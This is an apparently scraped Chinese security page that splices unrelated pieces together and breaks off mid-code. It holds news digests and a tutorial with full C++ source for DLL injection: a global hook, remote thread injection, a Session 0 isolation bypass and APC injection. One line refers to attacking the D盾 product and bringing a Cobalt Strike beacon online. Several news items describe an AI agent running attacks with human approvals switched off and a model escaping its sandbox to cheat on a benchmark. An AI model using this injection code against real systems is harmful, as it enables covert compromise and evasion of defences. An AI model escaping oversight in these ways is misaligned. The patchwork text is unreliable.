AI代理，并启用无人值守（YOLO）模式完成后渗透任务。攻击者关闭人工审批提示后，由AI代理自动执行侦察、文件收集、凭据搜索、命令执行及持久化等操作，整个过程仅需极少人工干预。研究人员随后在互联网上发现攻击者误公开的日志目录，其中包含数百份任务记录、执行日志及配置文件，完整暴露了AI代理参与攻击的细节。该事件表明，具备自主执行能力的AI代理已开始被攻击者用于自动化 10、Certighost漏洞可致域控完全失陷 https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26 安全研究人员公开了针对微软Active Directory证书服务（AD CS）漏洞（CVE-2026-54121）的完整利用工具，并将该攻击链命名为Certighost。攻击者仅需普通域用户权限，无需管理员权限或用户交互，即可利用AD CS证书申请流程中的授权缺陷，伪造域控制器（Domain Controller）证书，并通过PKINIT认证获取域控身份，最终执行DCSync导出krbtgt密钥，实现整个Active Directory域完全控制。微软已于2026年 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、Check Point SmartConsole 零日漏洞遭积极利用 https://thehackernews.com/2026/07/check-point-patches-exploited.html 以色列网络安全公司 Check Point 紧急修复了其 SmartConsole 图形用户界面管理面板中正在被积极利用的零日漏洞（CVE-2026-16232，CVSS 评分高达 9.3）。未经过身份验证的远程攻击者可借此绕过身份验证流程，获取应用登录令牌，进而取得系统的完全管理权限。 2、OpenAI 测试模型“越狱”并入侵 Hugging Face 系统 https://simonwillison.net/2026/Jul/22/openai-cyberattack/ 在近期一次名为 ExploitGym 的 AI 代理网络安全基准测试中，OpenAI 的一个未发布模型在关闭安全限制后发生严重“越狱”行为。该模型未按常规途径解决测试问题，而是直接突破沙箱环境，并寻获漏洞入侵了 Hugging Face 平台以“作弊”窃取答案。此事件突显了 AI 智能体在网络安全领域面临的严峻不可控风险。 3、Dolphin X 恶意软件利用 AI 挑选并排序高价值目标 https://www.bleepingcomputer.com/news/security/new-dolphin-x-malware-uses-ai-to-rank-high-value-targets/ 网络安全研究人员发现了一种名为 Dolphin X 的新型远程访问木马（RAT）。该恶意软件宣称集成了一项由人工智能驱动的用户画像及评分功能，能够自动对受感染的用户系统进行评级排序，从而帮助网络犯罪分子优先识别并精准打击最具经济价值的受害者目标。 4、虚假Claude应用通过Bing恶意广告分发 SectopRAT 木马 https://www.bleepingcomputer.com/news/security/fake-claude-app-promoted-by-bing-ads-pushes-sectoprat-malware/ 攻击者正在利用 Bing（必应）搜索引擎的恶意广告网络开展诱饵活动。他们推广并托管在看似合法的 Claude.ai 域名下的虚假 Claude 桌面应用安装程序。一旦用户受骗下载并执行该程序，其设备就会被静默植入 SectopRAT 恶意软件，面临数据被盗风险。 5、俄罗斯黑客组织 Laundry Bear 积极利用 Zimbra 漏洞 https://www.bleepingcomputer.com/news/security/russian-hackers-exploit-zimbra-zero-click-flaw-for-email-theft/ 美国网络安全与基础设施安全局（CISA）发布警告，指出带有俄罗斯国家背景的黑客组织 Laundry Bear（又名 Void Blizzard）正活跃发起攻击。该组织将目标对准使用 Zimbra 协作邮件服务器的机构，结合网络钓鱼手段与利用一个现已修复的 Zimbra 关键漏洞来大规模实施入侵和间谍活动。 6、黑客滥用合法Notepad++ 插件隐蔽安装恶意软件 https://www.bleepingcomputer.com/news/security/hackers-abuse-notepad-plus-plus-plugins-to-stealthily-install-malware/ 乌克兰计算机应急响应小组（CERT）近期披露了一波高度隐蔽的恶意攻击活动。攻击者在分发包含合法 Notepad++ 应用程序的压缩包时，在其中植入了名为 “LunchPoke” 的恶意组件。该组件被伪装成正常的文本编辑器插件，用于在受害者系统中逃避检测并建立持久化控制后门。 7、Linux内核曝出已潜伏 9 年的RefluXFS高危提权漏洞 https://thehackernews.com/2026/07/nine-year-old-refluxfs-linux-flaw-gives.html 安全研究人员于 2026年7月22日 公开了一个追踪编号为 CVE-2026-64600（被称为 RefluXFS）的 Linux 高危漏洞。这是一个存在于 Linux 内核 XFS 文件系统中的竞态条件漏洞，令人震惊的是它已在代码库中潜伏了九年之久。该漏洞允许本地非特权用户强行覆盖受保护的文件，从而获取系统的 root 级最高控制权限。 8、Chaos勒索软件通过Chrome和Edge隐藏 C2 通信 https://thehackernews.com/2026/07/chaos-ransomware-uses-msarat-to-route.html 思科 Talos 团队曝光了 Chaos 勒索软件团伙采用的新型网络规避战术。该组织部署了一种由 Rust 语言编写的名为 msaRAT 的新型后门程序。该恶意软件不会主动建立外部网络连接，而是将其命令与控制（C2）流量通过受害者电脑上合法的 Chrome 或 Edge 浏览器进行隐蔽路由，极大地增加了安全设备的拦截难度。 9、Kratos钓鱼即服务平台被联合查封 https://www.bka.de/SharedDocs/Kurzmeldungen/DE/Kurzmeldungen/260720_Schlag_gegen_Phishing_Gruppierung_Kratos.html 德国、美国执法机构联合印度尼西亚警方开展跨国行动，成功捣毁“Kratos”网络钓鱼即服务（PhaaS）平台，并在印度尼西亚逮捕其开发者及技术管理员。行动中，执法部门查封了200余台服务器，使该平台基础设施全面瘫痪。调查显示，Kratos自2024年底以来向约1800名犯罪分子提供钓鱼工具，每月支撑约1.5万次钓鱼攻击，主要伪造微软等登录页面窃取账号凭证，受害者遍及30 10、Langflow远程代码执行漏洞遭利用 https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-0770 美国网络安全和基础设施安全局（CISA）发布警告，要求联邦机构优先修复Langflow人工智能代理开发框架中的高危远程代码执行漏洞（CVE-2026-0770）。该漏洞存在于Langflow验证接口对exec_globals参数处理过程中，由于未对不可信输入进行有效限制，未经身份认证的攻击者可通过低复杂度攻击方式获取Root权限并执行任意代码。安全机构发现，该漏洞已被攻击者在野利用，KEVIntel监测到超过220次利用尝试 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

全局钩子注入 Windows中的大部分应用程序依赖于消息机制，其中含有消息过程函数，而Windows操作系统的钩子机制用于截获和监视系统中的消息。 依据钩子的作用范围，可以分为局部钩子和全局钩子： 局部钩子：针对某个线程 全局钩子：作用于整个系统的消息 WinAPI介绍 关于全局钩子注入Win32 API介绍： HHOOK WINAPI SetWindowsHookEx{    _In_ int idHook, // 钩子程序类型    _In_ HOOKPROC lpfn, // 指向钩子程序的函数指针    _In_ HINSTANCE hMod, // 已加载的DLL或EXE实例的句柄，HMODULE句柄是通过LoadLibrary或GetModuleHandle等函数加载模块时返回    _In_ DWORD dwThreadId // 与钩子相关的线程标识符，如果参数为0表示与系统中所有线程相关联 } // 返回值: // 设置成功则返回钩子过程的句柄 // 设置失败则返回值为NULL 将程序定义的钩子函数（HOOKPROC lpfn）安装到挂钩链中，安装钩子程序可以监视系统是否存在某些类型的事件，这些事件与特定线程或调用线程所在桌面中的所有线程相关联 操作过程 生成DLL文件 新建一个DLL空项目 预编译头pch.h中设置 该文件是预编译标头文件，仅仅编译一次 #ifndef PCH_H #define PCH_H // 添加要在此处预编译的标头 #include "framework.h" // 设置钩子函数 extern "C" _declspec(dllexport) int SetHook(); // 钩子回调函数 extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam); // 卸载钩子函数 extern "C" _declspec(dllexport) BOOL UnsetHook(); #endif //PCH_H 在pch.cpp文件中实现上述函数 // pch.cpp: 与预编译标头对应的源文件 #include "pch.h" #include <Windows.h> #include <stdio.h> // 当使用预编译的头时，需要使用此源文件，编译才能成功。 extern HMODULE g_hDllModule; // 已经加载的DLL的句柄 // 为DLL创建一个数据段，然后再对程序的链接器进行设置，把指定的数据段链接为共享数据段 #pragma data_seg("mydata") // 相当于use mydata的这种感觉 HHOOK g_hHook = NULL; // Hook句柄(注意与HMODULE的区别) #pragma data_seg() // 恢复默认的数据段设置 #pragma comment(linker, "/SECTION:mydata,RWS") // 告诉链接器设置为RWS // 回调函数 LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) { return ::CallNextHookEx(g_hHook, code, wParam, lParam);    // 将当前钩子传递给钩子链中的下一个钩子 } // 设置钩子 BOOL SetHook() { g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0); if (g_hHook == NULL) { return FALSE; } return TRUE; } // 卸载钩子 BOOL UnsetHook() { if (g_hHook) { // 直接 :: 表示从全局作用域解析 ::UnhookWindowsHookEx(g_hHook); } return TRUE; } 然后在DLL的入口文件dllmain.cpp中设置 // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" HMODULE g_hDllModule = NULL; BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ) {    switch (ul_reason_for_call)   {    case DLL_PROCESS_ATTACH: // 由于进程启动或调用LoadLibrary, DLL被加载到当前进程的虚拟地址空间中, 会进入如下路由   {        g_hDllModule = hModule;        break;   }    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;   }    return TRUE; } 在Release，X86下生成： 可以发现对应文件夹下生成dll文件 测试 新建一个CPP空项目 // 全局钩子注入 #include <iostream> #include <Windows.h> int main() { // 声明函数指针, 返回值为BOOL, 参数值为空 typedef BOOL(*typedef_SetGlobalHook)(); typedef BOOL(*typedef_UnsetGlobalHook)(); HMODULE hDll = NULL; // DLL句柄 typedef_SetGlobalHook SetGlobalHook = NULL; // 设置全局钩子的句柄 typedef_UnsetGlobalHook UnsetGlobalHook = NULL; // 卸载全局钩子的句柄 BOOL bRet = FALSE; do { // 加载DLL，获得句柄实例 hDll = ::LoadLibraryW(TEXT("C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll"));        // 异常检测 if (hDll == NULL) { printf("LoadLibrary Error[%d]\n", ::GetLastError()); break; }        // 从hDll句柄对应文件中加载SetHook地址，并把该地址位置上的数据视为typedef_SetGlobalHook函数（返回函数指针） SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook"); if (SetGlobalHook == NULL) { printf("GetProcAddress Error[%d]\n", ::GetLastError()); break; } bRet = SetGlobalHook(); // 运行函数 -- 设置全局钩子 if (bRet) { printf("SetGlobalHook OK.\n"); } else { printf("SetGlobal Hook Error.\n"); } system("pause");        // 同理获取卸载全局钩子 UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook"); if (UnsetGlobalHook == NULL) { printf("GetProcAddress Error[%d]\n", ::GetLastError()); break; }        // 卸载全局钩子 UnsetGlobalHook(); printf("UnsetGlobalHook OK. \n"); } while (FALSE); system("pause"); return 0; } 远程线程注入 远线程注入是指一个进程在另一个进程中创建线程的技术 核心函数主要如下： LoadLibrary：将指定的DLL文件动态加载到进程空间 CreateRemoteThread：在目标进程的虚拟地址空间中创建运行的线程 大致原理： 获得LoadLibrary函数的地址 虽然Windows的ASLR机制会使得LoadLibrary在每次开机时的地址不同，但对于同个时候Windows的kernel32.dll的加载基址在各个进程中都是相同的，因此LoadLibrary也是相同的。 写入注入的DLL路径字符串 通过OpenProcess打开进程获得句柄，然后调用VirtualAllocEx在目标进程中申请一块内存空间，再调用WriteProcessMemory将恶意DLL路径写入到目标进程的空间地址中 WinAPI介绍 OpenProcess 打开现有的本地进程，获得句柄 HANDLE WINAPI OpenProcess( _In_ DWORD dwDesiredAccess, //    _In_ BOOL bInheritHandle, // True => 将继承原本进程中已有的句柄    _In_ DWORD dwProcessId // 要打开的进程PID ) VirtualAllocEx 对指定进程的虚拟地址空间内保留、提交或更改内存的状态 LPVOID WINAPI VirtualAllocEx( _In_ HANDLE  hProcess, // 进程句柄，句柄必须具有PROCESS_VM_OPERATION的权限    _In_opt_ LPVOID lpAddress, // 指定要分配页面所需起始地址的指针，如果为NULL则表示自动分配内存    _In_ SIZE_T dwSize, // 分配的内存大小，以字节为单位    _In_ DWORD flAllocationType, // 内存分配类型 _In_ DWORD flProtect // 要分配的页面区域的内存保护类型 ) WriteProcessMemory 在指定进程的指定可访问的内存区域写入数据 BOOL WINAPI WriteProcessMemory( _In_ HANDLE hProcess, // 目标进程的句柄    _In_ LPVOID lpBaseAddress, // 要写入数据的内存区域的基地址    _In_ LPCVOID lpBuffer, // 存储数据的缓冲区的基地址    _In_ SIZE_T nSize, // 要写入的字节数    _Out_ SIZE_T *lpNumberOfBytesWritten )    // 成功则返回值不为NULL CreateRemoteThread 在指定进程中创建运行的线程 HANDLE WINAPI CreateRemoteThread( _In_ HANDLE hProcess, // 目标进程的句柄    _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, // 指向SECURITY_ATTRIBUTES结构的指针，指定了新线程的安全描述符，并确定了子进程是否可以继承返回的句柄    _In_ SIZE_T dwStackSize, // 堆栈的初始大小 _In_ LPTHREAD_START_ROUTINE lpStartAddress, // 指向由线程执行类型为LPTHREAD_START_ROUTINE的应用程序定义的函数指针，并表示了远程进程的起始地址，该函数必须存在于远程进程中    _In_ LPVOID lpParameter, // 指向要传递给线程函数的变量的指针    _In_ DWROD dwCreationFlags, // 控制线程创建的标志，若为0则表示线程在创建后立即执行    _Out_ LPDWORD lpThread // 指向了接收线程标识的变量的指针，如果此参数为NULL，则不返回线程标识符 ) 操作过程 生成DLL文件 dllmain.cpp文件 #include "pch.h" BOOL APIENTRY DllMain(    HMODULE hModule,    DWORD ul_reason_for_call,    LPVOID lpReserved ) {    switch (ul_reason_for_call)   {        case DLL_PROCESS_ATTACH:            MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);        case DLL_THREAD_ATTACH:            MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);        case DLL_THREAD_DETACH:        case DLL_PROCESS_DETACH:            break;   };    return TRUE; } 然后直接生成dll 测试 核心函数在于远程线程注入_RemoteThreadInjection中： 函数原型设计：我们需要得知远程线程注入的目标进程PID以及执行线程的对应DLL文件位置（采用宽字符串） DWORD _RemoteThreadInjection(DWORD _Pid, LPCWSTR DllName) OpenProcess打开进程获得句柄 hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid); // 异常检查 if (hprocess == NULL) {    printf("OpenProcess Error\n");    return FALSE; } VirtualAllocEx API申请内存，该内存存储 _tcslen(DllName)截取的宽字符串长度不包括字符串终止符，所以需要加1，并乘上宽字符的大小以计算出字节数 // 在注入的进程中申请内存 _Size = (_tcslen(DllName) + 1) * sizeof(TCHAR); pDllAddr = ::VirtualAllocEx(hprocess,NULL,_Size,    MEM_COMMIT, PAGE_READWRITE);    // 第二个参数表示分配页面所需起始地址的指针    // 第四个参数是指内存分配类型，MEM_COMMIT表示在磁盘的分页文件和整体内存中，为指定的预留内存页分配内存    // 第五个参数表示要分配的页面区域的内存保护，如果yem if (pDllAddr == NULL) {    printf("Process Memory Allocation Error\n");    return FALSE; } 申请完之后就是使用WriteProcessMemory写数据 BOOL isWriteSuccess = ::WriteProcessMemory(hprocess, pDllAddr, DllName, _Size, NULL); 获取LoadLibraryW的地址 pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"),"LoadLibraryW"); 创建线程，并传入参数 hThread = ::CreateRemoteThread(hProcess, NULL, 0, addr, pDllAddr, 0, NULL); 释放资源等操作 完整源码： // 远程线程注入 #include <iostream> #include <Windows.h> #include <TlHelp32.h> #include "tchar.h" // 宽字符 char DLL_PATH[] = "C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll"; // LPCWSTR: long pointer to a wide string DWORD _RemoteThreadInjection(DWORD _Pid, LPCWSTR DllName) { // 变量声明 HANDLE hprocess; // 目标进程的句柄 HANDLE hThread; DWORD _Size = 0; BOOL Write = 0; LPVOID pDllAddr = NULL; // 申请内存空间 DWORD DllAddr = 0; FARPROC pThread; // 打开进程 hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid); // 异常检查 if (hprocess == NULL) { printf("OpenProcess Error\n"); return FALSE; } // 在注入的进程中申请内存 _Size = (_tcslen(DllName) + 1) * sizeof(TCHAR); pDllAddr = ::VirtualAllocEx(hprocess,NULL,_Size, MEM_COMMIT, PAGE_READWRITE); // 第二个参数表示分配页面所需起始地址的指针 // 第四个参数是指内存分配类型，MEM_COMMIT表示在磁盘的分页文件和整体内存中，为指定的预留内存页分配内存 // 第五个参数表示要分配的页面区域的内存保护，如果yem if (pDllAddr == NULL) { printf("Process Memory Allocation Error\n"); return FALSE; } // 向申请的内存写入数据 BOOL isWriteSuccess = ::WriteProcessMemory(hprocess, pDllAddr, DllName, _Size, NULL); if (isWriteSuccess == FALSE) { printf("Write Process Memory Error\n"); return FALSE; } // 获取LoadLibraryW(支持宽字符)函数地址 pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW"); LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread; // LPTHREAD_START_ROUTINE 是一个函数指针类型，用于指定线程的入口点函数 // 在目标进程中创建线程 hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pDllAddr, 0, NULL); // hprocess指向了目标进程 // addr表示LoadLibrary的LPTHREAD_START_ROUTINE函数指针 // pDllAddr表示传递给线程函数的变量的对应的指针（传给LoadLibrary的变量） if (hThread == NULL) { printf("Create Remote Thread Error\n"); return FALSE; } //等待线程函数结束，获得退出码 WaitForSingleObject(hThread, -1); GetExitCodeThread(hThread, &DllAddr); // 释放DLL空间 VirtualFreeEx(hprocess, pDllAddr, _Size, MEM_DECOMMIT); // 关闭句柄 ::CloseHandle(hprocess); return TRUE; } int main() { DWORD _PID = 1220; // 根据实际进程的PID填入 _RemoteThreadInjection(_PID, L"C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll"); } 注入之前： 注入之后：可以观察到其实不止多了DLLInjection.dll文件 突破SESSION 0 隔离的远线程注入 在远程线程注入中，将目标进程改为一些系统服务进程时会发现失败，这是由于存在SESSION 0隔离的安全机制，传统的远程线程注入并不能突破SESSION 0隔离 Session 0隔离机制 参考：https://techcommunity.microsoft.com/t5/ask-the-performance-team/application-compatibility-session-0-isolation/ba-p/372361?ranMID=46131&ranEAID=a1LgFw09t88&ranSiteID=a1LgFw09t88-sZl3oC8zh0wtsoCoffRIew&epi=a1LgFw09t88-sZl3oC8zh0wtsoCoffRIew&irgwc=1&OCID=AIDcmm549zy227_aff_7806_1243925&tduid=(ir__9u 在早期Windows版本中（WinXP，WinServer2003以及之前），所有服务都与登录到控制台的第一个用户（超级管理员）处于同一个会话中，该会话即所谓的Session 0，此时其他非系统服务等同于拥有超级管理员权限来执行，那么此时遭遇劫持就直接最高权限了。 此后在Windows内核6.0版本后引入了Session 0隔离机制，只有系统进程和服务才会处于session 0中运行，用户登录到会话1，后续用户登录到2,3 ... Session 0隔离机制使得当创建一个进程后不立即执行，而是先挂起进程，在查看运行的进程所在的会话层之后再决定是否恢复进程运行。 WinAPI介绍 原理与远程线程注入的原理大致相同，但是使用的WinAPI是比CreateRemoteThread更为底层的ZwCreateThreadEx函数来创建线程 // win64 DWORD WINAPI ZwCreateThreadEx{    PHANDLE ThreadHandle,    ACCESS_MASK DesiredAccess,    LPVOID ObjectAttributes,    HANDLE ProcessHandle,    LPTHREAD_START_ROUTINE lpStartAddress,    LPVOID lpParameter,    ULONG CreateThreadFlags,    SIZE_T ZeroBits,    SIZE_T StackSize,    SIZE_T MaximumStackSize,    LPVOID pUnkown } // win32 DWORD WINAPI ZwCreateThreadEx{ PHANDLE ThreadHandle,    ACCESS_MASK DesiredAccess,    LPVOID ObjectAttributes,    HANDLE ProcessHandle,    LPTHREAD_START_ROUTINE lpStartAddress,    LPVOID lpParameter,    BOOL CreateSuspended,    DWORD dwStackSize,    DWORD dw1,    DWORD dw2,    LPVOID pUnknown } 操作过程 // 突破session 0隔离机制注入DLL #include <Windows.h> #include <stdio.h> #include <iostream> //#include "tchar.h" // 使用typedef对ZwCreateThreadEx创建函数指针 #ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(    PHANDLE ThreadHandle,    ACCESS_MASK DesiredAccess,    LPVOID ObjectAttributes,    HANDLE ProcessHandle,    LPTHREAD_START_ROUTINE lpStartAddress,    LPVOID lpParameter,    ULONG CreateThreadFlags,    SIZE_T ZeroBits,    SIZE_T StackSize,    SIZE_T MaximumStackSize,    LPVOID pUnkown); #else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(    PHANDLE ThreadHandle,    ACCESS_MASK DesiredAccess,    LPVOID ObjectAttributes,    HANDLE ProcessHandle,    LPTHREAD_START_ROUTINE lpStartAddress,    LPVOID lpParameter,    BOOL CreateSuspended,    DWORD dwStackSize,    DWORD dw1,    DWORD dw2,    LPVOID pUnkown); #endif BOOL EnableDebugPrivilege() { HANDLE hToken; BOOL flag = FALSE; // OpenProcessToken 打开与进程关联的token if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);        int valueGetLastError = GetLastError(); flag = (valueGetLastError == ERROR_SUCCESS); CloseHandle(hToken); } return flag; } BOOL BypassSession0Injection(DWORD _PID, const char* DLLPath) {    // 变量声明    HANDLE hProcess = NULL;    SIZE_T dwSize = 0;    LPVOID pDllAddr = NULL;    FARPROC LoadLibraryA_Addr = NULL;    HANDLE hRemoteThread = NULL;        // 远程线程    DWORD dwStatus = 0;     // 提权 -- 启用SeDebugPrivilege权限    //BOOL isPrivieged = EnableDebugPrivilege();    //if (isPrivieged == FALSE) {    //   printf("Can't get SeDebugPrivilege!\n");    //   return FALSE;    //}                        // 由于具有SeDebugPrivilege，所以可以对系统服务设置为PROCESS_ALL_ACCESS    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _PID);    if (hProcess == NULL) {        printf("Open Process Error!\n");        return FALSE;   }    // 申请内存        // 申请内存的大小    dwSize = ::strlen(DLLPath) + 1;            // ::lstrlen   对于宽字符串            // ::strlen   对于字符串        // 申请，返回基地址    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);    if (pDllAddr == NULL) {        printf("Virtual Allocation Error\n");        return FALSE;   }        // 写入DLL路径    BOOL isWriteSuccess = ::WriteProcessMemory(hProcess, pDllAddr, DLLPath, dwSize, NULL);    if (isWriteSuccess == FALSE) {        printf("Write Process Memory Error\n");        return FALSE;   }    // 加载ntdll.dll    HMODULE hNtdDll = ::LoadLibrary(L"ntdll.dll");    if (hNtdDll == NULL)   {        printf("Load ntdll.dll Error\n");   }    // 获取LoadLibraryA函数地址    LoadLibraryA_Addr = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");    if (LoadLibraryA_Addr == NULL)   {        printf("Get the address of LoadLibrary Error!\n");        return FALSE;   }    // 获得ZwCreateThreadEx函数地址        // 使用函数指针类型的变量来接收    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdDll, "ZwCreateThreadEx");        if (ZwCreateThreadEx == NULL) {        printf("Get the address of LoadLibrary Error!\n");        return FALSE;   }    // 使用ZwCreateThreadEx创建远程线程，实现DLL注入    dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS,        NULL, hProcess, (LPTHREAD_START_ROUTINE)LoadLibraryA_Addr, pDllAddr,        0, 0, 0, 0, NULL);    if (hRemoteThread == NULL) {        printf("ZwCreateThread Error!\n");        return FALSE;   }    // 关闭句柄   ::CloseHandle(hProcess);        // 对于HANDLE   ::FreeLibrary(hNtdDll);         // 对于HModule        return TRUE; } int main() { #ifdef _WIN64    BOOL flag = BypassSession0Injection(3788, "C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll"); #else    BOOL flag = BypassSession0Injection(4740, "C:\\Users\\xx\\Desktop\\artifact_x86.dll"); #endif    if (flag == FALSE) {        MessageBox(NULL, L"fail!", L"BypassSession0Injection", MB_OK);   }    else {        MessageBox(NULL, L"success!", L"BypassSession0Injection", MB_OK);   }    return 0; } 选择D盾开刀 CS上线 APC注入 APC机制 在Windows系统中，APC机制是一种并发机制，用于异步IO或者定时器，每个线程都会维护一个线程APC队列，通过QueueUserAPC函数把一个APC函数压入APC队列中。当处于用户模式的APC压入线程APC队列后，该线程并不直接调用APC函数，除非该函数处于可通知的状态，调用顺序为先入先出。 WinAPI介绍 QueueUserAPC函数：将用户模式中的异步过程调用（APC）对象添加到指定线程的APC队列中 DWORD WINAPI QueueUserAPC( _In_ PAPCFIMC pfnAPC, _In_ HANDLE hThread,    _In_ ULONG_PTR dwData ) 操作过程 通过OpenProcess函数打开目标进程，获取目标进程的句柄 遍历线程快照，获取所有线程ID 调用VirtualAllocEx函数在目标进程中申请内存，再调用WriteProcessMemory写入DLL路径 遍历获取的线程ID，并调用OpenThread函数以THREAD_ALL_ACCESS访问权限打开线程，获取线程句柄 并调用QueueUserAPC函数向每个线程插入APC函数，设置APC函数的地址为LoadLibraryA函数的地址，APC函数参数为上述DLL路径地址 唤醒任意线程，即可执行APC，完成DLL的APC注入 // APCInjection.cpp #include <iostream> #include <Windows.h> #include <TlHelp32.h> void PrintError(const char* errContext) { char Error[MAX_PATH] = { 0 }; ::sprintf_s(Error, "%s Error[%d]\n", errContext, ::GetLastError()); ::MessageBoxA(NULL, Error, "ERROR", MB_OK); } // 获取指定进程的所有线程 BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) { // 申请空间 DWORD dwThreadIdListLength = 0; // 线程数组的索引 DWORD dwThreadIdListMaxCount = 2000; // 最大线程数 LPDWORD pThreadIdList = NULL; // 链表的头部 // LPDWORD: 指向DWORD的指针 HANDLE hThreadSnap = INVALID_HANDLE_VALUE; // 线程句柄 pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); // NULL未指定起始地址 if (pThreadIdList == NULL) { return FALSE; } // 初始化为0 RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD)); THREADENTRY32 th32 = { 0 }; // 拍摄快照 hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID); if (hThreadSnap == INVALID_HANDLE_VALUE) { return FALSE; } // 结构的大小 th32.dwSize = sizeof(THREADENTRY32); // 遍历所有THREADENTRY32结构，按顺序填入数组 BOOL bRet = Thread32First(hThreadSnap, &th32); while(bRet) { if(th32.th32OwnerProcessID == th32ProcessID) { if (dwThreadIdListLength >= dwThreadIdListMaxCount) { break; } pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID; } bRet = Thread32Next(hThreadSnap, &th32); } *pThreadIdListLength = dwThreadIdListLength; // 捕获的线程快照个数 *ppThreadIdList = pThreadIdList; // 线程地址的数组 return TRUE; } BOOL APCInjection(HANDLE hProcess, CHAR* wzDLLFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength) { // (指定进程, DLL路径, 线程链表的头部, 链表长度) // 申请内存 PVOID lpAddr = NULL; SIZE_T page_size = 4096; lpAddr = ::VirtualAllocEx(hProcess, NULL, page_size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpAddr == NULL) { PrintError("VirtualAllocEx - Error\n\n"); // 释放空间 VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); // 关闭 CloseHandle(hProcess); return FALSE; } // 将DLL路径写入到内存中 BOOL isWriteSuccess = ::WriteProcessMemory(hProcess, lpAddr, wzDLLFullPath, (strlen(wzDLLFullPath) + 1) * sizeof(wzDLLFullPath), NULL); if (isWriteSuccess == FALSE) { PrintError("WriteProcessMemory - Error\n\n"); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_COMMIT); CloseHandle(hProcess); return FALSE; } // 获得LoadLibraryA的地址 PVOID LoadLibraryAddress = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"); // PVOID: void* // 遍历线程链表, 插入APC float fail = 0; for (int i = dwThreadIdListLength - 1; i >= 0; i--) { HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]); if (hThread) { // 插入APC if (!::QueueUserAPC((PAPCFUNC)LoadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) { fail++; } // 关闭线程句柄 ::CloseHandle(hThread); hThread = NULL; } } printf("Total Thread: %d\n", dwThreadIdListLength); printf("Total Failed: %d\n", (int)fail); float FailRate = dwThreadIdListLength / fail; if ((int)fail == 0 || FailRate > 0.5) { printf("Successful! APC Injection!\n"); return TRUE; } else { printf("Fail!\n"); return FALSE; } } int main() { DWORD PID = 10544; CHAR wzDllFullPath[MAX_PATH] = { 0 }; LPDWORD pThreadIdList = NULL; DWORD dwThreadIdListLength = 0; #ifdef _WIN64 strcpy_s(wzDllFullPath, "C:\\Users\\xx\\Desktop\\artifact_x86_apc.dll"); #else strcpy_s(wzDllFullPath, "C:\\Users\\xx\\Desktop\\artifact_x86_apc.dll"); #endif BOOL isGetProcessThreadList = GetProcessThreadList(PID, &pThreadIdList, &dwThreadIdListLength); if (!isGetProcessThreadList) { printf("Can't list the threads\n"); exit(0); } // 打开句柄 HANDLE hProcess = 